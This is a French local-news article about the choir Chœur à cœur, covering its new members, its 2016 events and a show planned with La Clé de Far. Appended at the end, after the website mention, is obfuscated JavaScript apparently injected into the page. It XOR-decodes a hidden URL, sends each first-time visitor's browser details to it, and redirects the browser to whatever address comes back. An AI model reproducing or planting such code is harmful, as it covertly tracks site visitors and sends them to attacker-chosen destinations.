La chorale compte 11 nouveaux membres. Photo RL
L’année 2015 a été pour la chorale Chœur à cœur une année de transition durant laquelle elle a pu se renforcer, tout en entrant dans une phase plus concrète de ses projets, dont un spectacle en cours d’élaboration. La présidente du comité, Audrey Trinkwell, a pu compter sur le soutien des choristes pour sa première année de présidence. Ce soutien chaleureux a permis au chœur de travailler dans la sérénité, et c’est particulièrement grâce à ces ingrédients qu’il a pu se renforcer avec l’apport de 11 nouveaux choristes depuis le mois de septembre.
Sous le signe de la solidarité
Grâce au travail et à l’implication du chef de chœur, Nicolas Trinkwell, qui sait transmettre son savoir-faire musical avec fraîcheur et efficacité, la bonne humeur est au rendez-vous à chaque répétition. Ce qui permet à tous les chanteurs d’apprendre, de s’épanouir et de se perfectionner avec le sourire. 2016 est l’année de la concrétisation. Cette année musicale, placée sous le signe de la solidarité, débute avec une marche chantante animée par la chorale autour de l’étang de Diefenbach samedi 20 février.
Cette activité mi-physique, mi-musicale permettra de consolider la bonne entente entre les choristes et son chef de chœur, mais aussi de rencontrer son public sur un terrain bien différent. Le chœur se rendra ensuite à Forbach pour une animation auprès des résidents adultes handicapés samedi 16 avril, et elle participera à un concert à l’église de Puttelange-aux-Lacs, pour Titouan, le dimanche 19 juin.
Spectacle en 2017
Tout au long de l’année, Chœur à cœur continuera à peaufiner et travailler son spectacle, en co-production avec La Clé de Far de Farébersviller, chœur dynamique, dirigé par Marc Jung. La production du spectacle est envisagée à l’horizon 2017. Les choristes sont récompensés de leur fidélité, y compris dans les moments plus délicats, et de la bonne ambiance qu’ils sont capables d’allier au travail et à l’exigence de leur chef de chœur.
Pour suivre toutes les dates de représentation et l’actualité du chœur, rendez-vous sur : choeuracoeur57.com ou sur la page Facebook.var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = « »; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}